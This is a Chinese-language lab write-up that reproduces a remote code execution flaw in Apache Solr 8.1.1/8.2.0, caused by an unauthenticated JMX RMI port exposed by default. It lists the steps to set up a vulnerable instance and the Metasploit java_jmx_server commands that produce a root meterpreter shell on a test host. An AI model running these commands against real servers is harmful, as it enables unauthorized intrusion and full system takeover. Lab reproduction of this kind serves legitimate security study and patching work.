環境
靶機:ubuntu18.04
被攻擊環境:Solr 8.2.0
攻擊機:Kali Linux
攻擊軟件:metasploit framework
背景介紹
Apache Solr 是一個開源的搜索服務器,使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。它對外提供類似於Web-service的API接口。用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,並得到XML格式的返回結果。
漏洞成因
默認的配置文件solr.in.sh的選項ENABLE_REMOTE_JMX_OPTS字段值被設置為”true”,這會啟用JMX監視服務並會在公網中監聽一個18983的RMI端口,沒有任何認證,也就是說在無需身份驗證情況下,攻擊者結合使用JMX RMI就會造成遠程代碼攻擊。
在開放的端口上,利用 javax.management.loading.MLet的getMBeansFromURL 方法來加載一個遠端惡意的 MBean,就可以造成遠程代碼執行了。 遠端的惡意MBean來自於metasploit提供的exploit/multi/misc/java_jmx_server,具體的payload攻擊載荷是meterpreter。
復現與利用過程
安裝環境
影響版本是Apache Solr的8.1.1和8.2.0,目前官網這兩個版本已經不直接提供了。8.2.0的下載地址是:http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip, 其他版本也可以通過修改URL的辦法來查詢。
下載:
wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
啟動一個solr的樣例服務(需要root權限):
unzip solr-8.2.0.zip
cd solr-8.2.0/bin
./solr -e dih -force
metasploit直接使用kali里的。
漏洞利用
在kali上使用 msfconsole
命令進入,執行以下命令。
use exploit/multi/misc/java_jmx_server
show options
set RHOSTS 192.168.108.156
set RPORT 18983
run
接下來等待進入meterpreter的shell,就說明已經成功登陸並滲透了。
通過getuid命令我們可以看到當前獲取到的是root權限。